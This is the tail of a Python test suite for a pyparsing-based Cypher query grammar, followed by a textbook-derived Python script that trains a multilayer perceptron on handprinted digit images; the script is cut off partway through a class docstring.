accepted = False
self.assertTrue(accepted)
where_or_not = "WHERE n.name = 'David' OR NOT n.age=34"
try:
where_stmt.parseString(where_or_not)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_or_not = "WHERE n:Name"
try:
where_stmt.parseString(where_or_not)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_coll = "WHERE n.name IN ['david', 'javi']"
try:
where_stmt.parseString(where_coll)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_or_not = "WHERE has (n.name)"
try:
where_stmt.parseString(where_or_not)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_not = "WHERE NOT (persons)-->(peter)"
try:
where_stmt.parseString(where_not)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_reg = "WHERE n.name =~ 'asdf'"
try:
where_stmt.parseString(where_reg)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_type = "WHERE type(r) = 'person'"
try:
where_stmt.parseString(where_type)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
where_isnull = "WHERE n.prop IS NULL"
try:
where_stmt.parseString(where_isnull)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_where = "WHERE n.name = 'Peter' OR (n.age < 30 AND n.name = 'Tobias') OR NOT (n.name = 'Tobias' OR n.name='Peter')"
try:
where_stmt.parseString(multi_where)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "WHER n.name = 'David'"
try:
where_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_where_or_not = "WHERE has n.name)"
try:
where_stmt.parseString(bad_where_or_not)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_where_reg = "WHERE n.name =~ 30"
try:
where_stmt.parseString(bad_where_reg)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_where_isnull = "WHERE IS NULL"
try:
where_stmt.parseString(bad_where_isnull)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_where_path = "WHERE n.name = 'David' AND (n)->(m)"
try:
where_stmt.parseString(bad_where_path)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multi_where = "WHERE n.name = 'Peter' (OR n.age < 30 AND n.name = 'Tobias') OR NOT (n.name = 'Tobias' OR n.name='Peter')"
try:
where_stmt.parseString(bad_multi_where)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_op = "WHERE n.name 'David'"
try:
where_stmt.parseString(bad_op)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_quote = "WHERE n.name = David'"
try:
where_stmt.parseString(bad_quote)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_op = "WHERE n.name = 'David' OR AND n.age=10"
try:
where_stmt.parseString(bad_op)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_count(self):
simple = "count(*)"
try:
count_fn.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
alias = "count(n)"
try:
count_fn.parseString(alias)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
distinct = "count(DISTINCT n)"
try:
count_fn.parseString(distinct)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
distinct_prop = "count(DISTINCT n.name)"
try:
count_fn.parseString(distinct_prop)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
prop = "count(n.name)"
try:
count_fn.parseString(prop)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "coun(name)"
try:
count_fn.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_lparen = "count name)"
try:
count_fn.parseString(bad_lparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_rparen = "count(name"
try:
count_fn.parseString(bad_rparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_quotes = "count('name')"
try:
count_fn.parseString(bad_quotes)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_sum(self):
simple = "sum(n.name)"
try:
sum_fn.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "su(n.name)"
try:
sum_fn.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_lparen = "sum n.name)"
try:
sum_fn.parseString(bad_lparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_rparen = "sum(n.name"
try:
sum_fn.parseString(bad_rparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_quotes = "sum('n.name')"
try:
sum_fn.parseString(bad_quotes)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_discret_percentile(self):
simple = "percentileDisc(n.name, 0.5)"
try:
disc_per_fn.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "percentilDisc(n.name, 0.5)"
try:
disc_per_fn.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_lparen = "percentileDisc n.name, 0.5)"
try:
disc_per_fn.parseString(bad_lparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_rparen = "percentileDisc(n.name, 0.5"
try:
disc_per_fn.parseString(bad_rparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_quotes = "percentileDisc(n.name, '0.5')"
try:
disc_per_fn.parseString(bad_quotes)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
missing_first = "percentileDisc('0.5')"
try:
disc_per_fn.parseString(missing_first)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
missing_second = "percentileDisc(n.name)"
try:
disc_per_fn.parseString(missing_second)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
missing_comma = "percentileDisc(n.name 0.5)"
try:
disc_per_fn.parseString(missing_comma)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_std_dev(self):
simple = "stdev(n.name)"
try:
std_dev_fn.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "stde(n.name)"
try:
std_dev_fn.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_lparen = "stdev n.name)"
try:
std_dev_fn.parseString(bad_lparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_rparen = "stdev(n.name"
try:
std_dev_fn.parseString(bad_rparen)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_quotes = "stdev('n.name')"
try:
std_dev_fn.parseString(bad_quotes)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_with(self):
with_stmt = self.with_stmt
simple = "WITH n"
try:
with_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_patt = "WITH n, m"
try:
with_stmt.parseString(simple_patt)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_as = "WITH n AS Something"
try:
with_stmt.parseString(simple_as)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_mix = "WITH n AS Something, c"
try:
with_stmt.parseString(simple_mix)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
two_as = "WITH n AS Something, c AS Col"
try:
with_stmt.parseString(two_as)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
gettrs = "WITH n.name AS Something, c.some AS Col"
try:
with_stmt.parseString(gettrs)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
tp = "WITH type(n) AS Type"
try:
with_stmt.parseString(tp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
count = "WITH count(n) AS Num"
try:
with_stmt.parseString(count)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "WITHn"
try:
with_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_patt = "WITH n m"
try:
with_stmt.parseString(bad_simple_patt)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_as = "WITH AS Something"
try:
with_stmt.parseString(bad_simple_as)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_mix = "WITH n AS Something c"
try:
with_stmt.parseString(bad_simple_mix)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_two_as = "WITH n AS Something, c Col"
try:
with_stmt.parseString(bad_two_as)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_tp = "WITH type(n) Type"
try:
with_stmt.parseString(bad_tp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
count = "WITH count(n AS Num"
try:
with_stmt.parseString(count)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_orderby(self):
order_stmt = self.order_stmt
simple = "ORDER BY n"
try:
order_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_asc = "ORDER BY n ASC"
try:
order_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_desc = "ORDER BY n DESC"
try:
order_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multiple_simple = "ORDER BY n, m "
try:
order_stmt.parseString(multiple_simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multiple_simple_asc_desc = "ORDER BY n ASC, m DESC"
try:
order_stmt.parseString(multiple_simple_asc_desc)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_attr = "ORDER BY n.name"
try:
order_stmt.parseString(simple_attr)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_asc_attr = "ORDER BY n.name ASC"
try:
order_stmt.parseString(simple_asc_attr)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_desc_attr = "ORDER BY n.name DESC"
try:
order_stmt.parseString(simple_desc_attr)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multiple_attr = "ORDER BY n.name, m.name "
try:
order_stmt.parseString(multiple_attr)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multiple_attr_asc_desc = "ORDER BY n.name asc, m.name desc"
try:
order_stmt.parseString(multiple_attr_asc_desc)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_multiple_attr = "ORDER BY n.name m.name "
try:
order_stmt.parseString(bad_multiple_attr)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multiple_attr_asc_desc = "ORDER BY n.name asc m.name desc"
try:
order_stmt.parseString(bad_multiple_attr_asc_desc)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple = "ORDER B n"
try:
order_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_limit(self):
limit_stmt = self.limit_stmt
simple = "LIMIT 3"
try:
limit_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "LIMIT '3'"
try:
limit_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multiple = "LIMIT 3,4"
try:
limit_stmt.parseString(bad_multiple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_skip(self):
skip_stmt = self.skip_stmt
simple = "SKIP 3"
try:
skip_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "SKIP '3'"
try:
skip_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multiple = "SKIP 3,4"
try:
skip_stmt.parseString(bad_multiple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
def test_return(self):
return_stmt = self.return_stmt
simple = "RETURN n"
try:
return_stmt.parseString(simple)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_literal = "RETURN 'yolo'"
try:
return_stmt.parseString(simple_literal)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_pattern = "RETURN (m)-->(n)"
try:
return_stmt.parseString(simple_pattern)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_comp = "RETURN n > 30"
try:
return_stmt.parseString(simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_as = "RETURN n as Name"
try:
return_stmt.parseString(simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
simple_attr_as = "RETURN n.name as Name"
try:
return_stmt.parseString(simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
compound_comp = "RETURN n > 30 and m ='dave'"
try:
return_stmt.parseString(compound_comp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
multi_compound_comp = "RETURN (n > 30 and m ='dave') or not m > 10"
try:
return_stmt.parseString(multi_compound_comp)
accepted = True
except ParseException:
accepted = False
self.assertTrue(accepted)
long_return = "RETURN (n>30 AND m='dave') OR NOT g<100, (m)-->(n), 30, 5.5, 'literal', m, n.name AS Name"
try:
parsed = return_stmt.parseString(long_return)
accepted = True
q = ''.join(parsed.asList())
self.assertEqual(q, long_return)
except ParseException:
accepted = False
self.assertTrue(accepted)
bad_simple = "RETUR n"
try:
return_stmt.parseString(bad_simple)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_literal = "RETURN yolo'"
try:
return_stmt.parseString(bad_simple_literal)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_pattern = "RETURN m)-->(n)"
try:
return_stmt.parseString(bad_simple_pattern)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_comp = "RETURN n 30"
try:
return_stmt.parseString(bad_simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_as = "RETURN n Name"
try:
return_stmt.parseString(bad_simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_simple_attr_as = "RETURN n.name as "
try:
return_stmt.parseString(bad_simple_comp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_compound_comp = "RETURN n > 30 m ='dave'"
try:
return_stmt.parseString(bad_compound_comp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_multi_compound_comp = "RETURN (n > 30 and m ='dave') or not > 10"
try:
return_stmt.parseString(bad_multi_compound_comp)
accepted = True
except ParseException:
accepted = False
self.assertFalse(accepted)
bad_long_return = "RETURN (n>30 AND m='dave') OR NOT g<100 (m)-->(n), 30, 5.5, 'literal', m, n.name AS Name"
try:
parsed = return_stmt.parseString(bad_long_return)
accepted = True
q = ''.join(parsed.asList())
self.assertEqual(q, long_return)
except ParseException:
accepted = False
self.assertFalse(accepted)
if __name__ == "__main__":
unittest.main()
| 29.069986
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0
| 9
|
b5038705597e6a8526ad04cd472cc0e6b441f73a
| 30,097
|
py
|
Python
|
p356_neural_net.py
|
rrlyman/PythonMachineLearingExamples
|
fedce1fcdc5e924bac3f279ccad902fec52dfa88
|
[
"MIT"
] | 29
|
2016-10-18T12:28:40.000Z
|
2022-01-29T04:26:19.000Z
|
p356_neural_net.py
|
rrlyman/PythonMachineLearingExamples
|
fedce1fcdc5e924bac3f279ccad902fec52dfa88
|
[
"MIT"
] | null | null | null |
p356_neural_net.py
|
rrlyman/PythonMachineLearingExamples
|
fedce1fcdc5e924bac3f279ccad902fec52dfa88
|
[
"MIT"
] | 18
|
2017-02-19T05:50:12.000Z
|
2020-09-17T01:00:51.000Z
|
'''
Created on Jul 21, 2016
This is an axample of a neural network. It uses the Handprint data set.
This is almost, but not quite, the same as the MNIST handwritten digits database.
from Python Machine Learning by Sebastian Raschka under the following license
The MIT License (MIT)
Copyright (c) 2015, 2016 SEBASTIAN RASCHKA (mail@sebastianraschka.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@author: richard lyman
'''
import numpy as np
import ocr_utils
import matplotlib.pyplot as plt
from scipy.special import expit
import sys
chars_to_train = range(48,58)
input_filters_dict = {'m_label': chars_to_train, 'font': 'HANDPRINT'}
# output the character label and the image and column sums
output_feature_list = ['m_label','image']
# read the complete image (20x20) = 400 pixels for each character
ds = ocr_utils.read_data(input_filters_dict=input_filters_dict,
output_feature_list=output_feature_list,
test_size=.2,
random_state=0)
y_train = ds.train.features[0]-48
X_train = ds.train.features[1]
y_test = ds.test.features[0]-48
X_test = ds.test.features[1]
labels = np.unique(y_train)
fig, ax = plt.subplots(nrows=2, ncols=5, sharex=True, sharey=True,)
ax = ax.flatten()
X2D = np.reshape(X_train,(X_train.shape[0],ds.train.num_rows, ds.train.num_columns))
for i, label in enumerate(labels):
img = X2D[y_train == label][i]
ax[i].imshow(img, cmap='Greys', interpolation='nearest')
ax[0].set_xticks([])
ax[0].set_yticks([])
plt.tight_layout()
title= 'mnist all'
ocr_utils.show_figures(plt, title)
fig, ax = plt.subplots(nrows=5, ncols=5, sharex=True, sharey=True,)
ax = ax.flatten()
for i in range(25):
img = X2D[y_train == labels[7]][i]
ax[i].imshow(img, cmap='Greys', interpolation='nearest')
ax[0].set_xticks([])
ax[0].set_yticks([])
plt.tight_layout()
title = 'mnist_7'
ocr_utils.show_figures(plt, title)
class NeuralNetMLP(object):
""" Feedforward neural network / Multi-layer perceptron classifier.
Parameters
------------
n_output : int
Number of output units, should be equal to the
number of unique class labels.
n_features : int
Number of features (dimensions) in the target dataset.
Should be equal to the number of columns in the X array.
n_hidden : int (default: 30)
Number of hidden units.
l1 : float (default: 0.0)
Lambda value for L1-regularization.
No regularization if l1=0.0 (default)
l2 : float (default: 0.0)
Lambda value for L2-regularization.
No regularization if l2=0.0 (default)
epochs : int (default: 500)
Number of passes over the training set.
eta : float (default: 0.001)
Learning rate.
alpha : float (default: 0.0)
Momentum constant. Factor multiplied with the
gradient of the previous epoch t-1 to improve
learning speed
w(t) := w(t) - (grad(t) + alpha*grad(t-1))
decrease_const : float (default: 0.0)
Decrease constant. Shrinks the learning rate
after each epoch via eta / (1 + epoch*decrease_const)
shuffle : bool (default: False)
Shuffles training data every epoch if True to prevent circles.
minibatches : int (default: 1)
Divides training data into k minibatches for efficiency.
Normal gradient descent learning if k=1 (default).
random_state : int (default: None)
Set random state for shuffling and initializing the weights.
Attributes
-----------
cost_ : list
Sum of squared errors after each epoch.
"""
def __init__(self, n_output, n_features, n_hidden=30,
l1=0.0, l2=0.0, epochs=500, eta=0.001,
alpha=0.0, decrease_const=0.0, shuffle=True,
minibatches=1, random_state=None):
np.random.seed(random_state)
self.n_output = n_output
self.n_features = n_features
self.n_hidden = n_hidden
self.w1, self.w2 = self._initialize_weights()
self.l1 = l1
self.l2 = l2
self.epochs = epochs
self.eta = eta
self.alpha = alpha
self.decrease_const = decrease_const
self.shuffle = shuffle
self.minibatches = minibatches
def _encode_labels(self, y, k):
"""Encode labels into one-hot representation
Parameters
------------
y : array, shape = [n_samples]
Target values.
Returns
-----------
onehot : array, shape = (n_labels, n_samples)
"""
onehot = np.zeros((k, y.shape[0]))
for idx, val in enumerate(y):
onehot[int(val), idx] = 1.0
return onehot
def _initialize_weights(self):
"""Initialize weights with small random numbers."""
w1 = np.random.uniform(-1.0, 1.0, size=self.n_hidden*(self.n_features + 1))
w1 = w1.reshape(self.n_hidden, self.n_features + 1)
w2 = np.random.uniform(-1.0, 1.0, size=self.n_output*(self.n_hidden + 1))
w2 = w2.reshape(self.n_output, self.n_hidden + 1)
return w1, w2
def _sigmoid(self, z):
"""Compute logistic function (sigmoid)
Uses scipy.special.expit to avoid overflow
error for very small input values z.
"""
# return 1.0 / (1.0 + np.exp(-z))
return expit(z)
def _sigmoid_gradient(self, z):
"""Compute gradient of the logistic function"""
sg = self._sigmoid(z)
return sg * (1 - sg)
def _add_bias_unit(self, X, how='column'):
"""Add bias unit (column or row of 1s) to array at index 0"""
if how == 'column':
X_new = np.ones((X.shape[0], X.shape[1]+1))
X_new[:, 1:] = X
elif how == 'row':
X_new = np.ones((X.shape[0]+1, X.shape[1]))
X_new[1:, :] = X
else:
raise AttributeError('`how` must be `column` or `row`')
return X_new
def _feedforward(self, X, w1, w2):
"""Compute feedforward step
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
----------
a1 : array, shape = [n_samples, n_features+1]
Input values with bias unit.
z2 : array, shape = [n_hidden, n_samples]
Net input of hidden layer.
a2 : array, shape = [n_hidden+1, n_samples]
Activation of hidden layer.
z3 : array, shape = [n_output_units, n_samples]
Net input of output layer.
a3 : array, shape = [n_output_units, n_samples]
Activation of output layer.
"""
a1 = self._add_bias_unit(X, how='column')
z2 = w1.dot(a1.T)
a2 = self._sigmoid(z2)
a2 = self._add_bias_unit(a2, how='row')
z3 = w2.dot(a2)
a3 = self._sigmoid(z3)
return a1, z2, a2, z3, a3
def _L2_reg(self, lambda_, w1, w2):
"""Compute L2-regularization cost"""
return (lambda_/2.0) * (np.sum(w1[:, 1:] ** 2) + np.sum(w2[:, 1:] ** 2))
def _L1_reg(self, lambda_, w1, w2):
"""Compute L1-regularization cost"""
return (lambda_/2.0) * (np.abs(w1[:, 1:]).sum() + np.abs(w2[:, 1:]).sum())
def _get_cost(self, y_enc, output, w1, w2):
"""Compute cost function.
y_enc : array, shape = (n_labels, n_samples)
one-hot encoded class labels.
output : array, shape = [n_output_units, n_samples]
Activation of the output layer (feedforward)
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
---------
cost : float
Regularized cost.
"""
term1 = -y_enc * (np.log(output))
term2 = (1 - y_enc) * np.log(1 - output)
cost = np.sum(term1 - term2)
L1_term = self._L1_reg(self.l1, w1, w2)
L2_term = self._L2_reg(self.l2, w1, w2)
cost = cost + L1_term + L2_term
return cost
def _get_gradient(self, a1, a2, a3, z2, y_enc, w1, w2):
""" Compute gradient step using backpropagation.
Parameters
------------
a1 : array, shape = [n_samples, n_features+1]
Input values with bias unit.
a2 : array, shape = [n_hidden+1, n_samples]
Activation of hidden layer.
a3 : array, shape = [n_output_units, n_samples]
Activation of output layer.
z2 : array, shape = [n_hidden, n_samples]
Net input of hidden layer.
y_enc : array, shape = (n_labels, n_samples)
one-hot encoded class labels.
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
---------
grad1 : array, shape = [n_hidden_units, n_features]
Gradient of the weight matrix w1.
grad2 : array, shape = [n_output_units, n_hidden_units]
Gradient of the weight matrix w2.
"""
# backpropagation
sigma3 = a3 - y_enc
z2 = self._add_bias_unit(z2, how='row')
sigma2 = w2.T.dot(sigma3) * self._sigmoid_gradient(z2)
sigma2 = sigma2[1:, :]
grad1 = sigma2.dot(a1)
grad2 = sigma3.dot(a2.T)
# regularize
grad1[:, 1:] += (w1[:, 1:] * (self.l1 + self.l2))
grad2[:, 1:] += (w2[:, 1:] * (self.l1 + self.l2))
return grad1, grad2
def predict(self, X):
"""Predict class labels
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
Returns:
----------
y_pred : array, shape = [n_samples]
Predicted class labels.
"""
if len(X.shape) != 2:
raise AttributeError('X must be a [n_samples, n_features] array.\n'
'Use X[:,None] for 1-feature classification,'
'\nor X[[i]] for 1-sample classification')
a1, z2, a2, z3, a3 = self._feedforward(X, self.w1, self.w2)
y_pred = np.argmax(z3, axis=0)
return y_pred
def fit(self, X, y, print_progress=False):
""" Learn weights from training data.
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
y : array, shape = [n_samples]
Target class labels.
print_progress : bool (default: False)
Prints progress as the number of epochs
to stderr.
Returns:
----------
self
"""
self.cost_ = []
X_data, y_data = X.copy(), y.copy()
y_enc = self._encode_labels(y, self.n_output)
delta_w1_prev = np.zeros(self.w1.shape)
delta_w2_prev = np.zeros(self.w2.shape)
for i in range(self.epochs):
# adaptive learning rate
self.eta /= (1 + self.decrease_const*i)
if print_progress:
sys.stderr.write('\rEpoch: %d/%d' % (i+1, self.epochs))
sys.stderr.flush()
if self.shuffle:
idx = np.random.permutation(y_data.shape[0])
X_data, y_data = X_data[idx], y_data[idx]
mini = np.array_split(range(y_data.shape[0]), self.minibatches)
for idx in mini:
# feedforward
a1, z2, a2, z3, a3 = self._feedforward(X[idx], self.w1, self.w2)
cost = self._get_cost(y_enc=y_enc[:, idx],
output=a3,
w1=self.w1,
w2=self.w2)
self.cost_.append(cost)
# compute gradient via backpropagation
grad1, grad2 = self._get_gradient(a1=a1, a2=a2,
a3=a3, z2=z2,
y_enc=y_enc[:, idx],
w1=self.w1,
w2=self.w2)
delta_w1, delta_w2 = self.eta * grad1, self.eta * grad2
self.w1 -= (delta_w1 + (self.alpha * delta_w1_prev))
self.w2 -= (delta_w2 + (self.alpha * delta_w2_prev))
delta_w1_prev, delta_w2_prev = delta_w1, delta_w2
return self
nn = NeuralNetMLP(n_output=len(labels),
n_features=X_train.shape[1],
n_hidden=50,
l2=0.1,
l1=0.0,
epochs=100,
eta=0.001,
alpha=0.001,
decrease_const=0.00001,
minibatches=50,
random_state=1)
nn.fit(X_train, y_train, print_progress=True)
plt.plot(range(len(nn.cost_)), nn.cost_)
plt.ylim([0, 2000])
plt.ylabel('Cost')
plt.xlabel('Epochs * 50')
plt.tight_layout()
title = 'cost'
plt.title(title)
ocr_utils.show_figures(plt,title )
batches = np.array_split(range(len(nn.cost_)), 1000)
cost_ary = np.array(nn.cost_)
cost_avgs = [np.mean(cost_ary[i]) for i in batches]
plt.plot(range(len(cost_avgs)), cost_avgs, color='red')
plt.ylim([0, 2000])
plt.ylabel('Cost')
plt.xlabel('Epochs')
plt.tight_layout()
title = 'cost2'
plt.title(title)
ocr_utils.show_figures(plt, title)
y_train_pred = nn.predict(X_train)
acc = np.sum(y_train == y_train_pred, axis=0) / X_train.shape[0]
print('Training accuracy: %.5f%%' % (acc * 100))
y_test_pred = nn.predict(X_test)
acc = np.sum(y_test == y_test_pred, axis=0) / X_test.shape[0]
print('test accuracy: %.5f%%' % (acc * 100))
miscl_img = X_test[y_test != y_test_pred][:25]
nError = miscl_img.shape[0]
miscl_img = np.reshape(miscl_img,(nError,ds.train.num_rows, ds.train.num_columns))
correct_lab = y_test[y_test != y_test_pred][:nError]
miscl_lab= y_test_pred[y_test != y_test_pred][:nError]
fig, ax = plt.subplots(nrows=5, ncols=5, sharex=True, sharey=True,)
ax = ax.flatten()
for i in range(nError):
img = miscl_img[i]
ax[i].imshow(img, cmap='Greys', interpolation='nearest')
ax[i].set_title('%d) t: %d p: %d' % (i+1, correct_lab[i], miscl_lab[i]))
ax[0].set_xticks([])
ax[0].set_yticks([])
plt.tight_layout()
title = 'mnist_miscl'
ocr_utils.show_figures(plt, title)
class MLPGradientCheck(object):
""" Feedforward neural network / Multi-layer perceptron classifier.
Parameters
------------
n_output : int
Number of output units, should be equal to the
number of unique class labels.
n_features : int
Number of features (dimensions) in the target dataset.
Should be equal to the number of columns in the X array.
n_hidden : int (default: 30)
Number of hidden units.
l1 : float (default: 0.0)
Lambda value for L1-regularization.
No regularization if l1=0.0 (default)
l2 : float (default: 0.0)
Lambda value for L2-regularization.
No regularization if l2=0.0 (default)
epochs : int (default: 500)
Number of passes over the training set.
eta : float (default: 0.001)
Learning rate.
alpha : float (default: 0.0)
Momentum constant. Factor multiplied with the
gradient of the previous epoch t-1 to improve
learning speed
w(t) := w(t) - (grad(t) + alpha*grad(t-1))
decrease_const : float (default: 0.0)
Decrease constant. Shrinks the learning rate
after each epoch via eta / (1 + epoch*decrease_const)
shuffle : bool (default: False)
Shuffles training data every epoch if True to prevent circles.
minibatches : int (default: 1)
Divides training data into k minibatches for efficiency.
Normal gradient descent learning if k=1 (default).
random_state : int (default: None)
Set random state for shuffling and initializing the weights.
Attributes
-----------
cost_ : list
Sum of squared errors after each epoch.
"""
def __init__(self, n_output, n_features, n_hidden=30,
l1=0.0, l2=0.0, epochs=500, eta=0.001,
alpha=0.0, decrease_const=0.0, shuffle=True,
minibatches=1, random_state=None):
np.random.seed(random_state)
self.n_output = n_output
self.n_features = n_features
self.n_hidden = n_hidden
self.w1, self.w2 = self._initialize_weights()
self.l1 = l1
self.l2 = l2
self.epochs = epochs
self.eta = eta
self.alpha = alpha
self.decrease_const = decrease_const
self.shuffle = shuffle
self.minibatches = minibatches
def _encode_labels(self, y, k):
"""Encode labels into one-hot representation
Parameters
------------
y : array, shape = [n_samples]
Target values.
Returns
-----------
onehot : array, shape = (n_labels, n_samples)
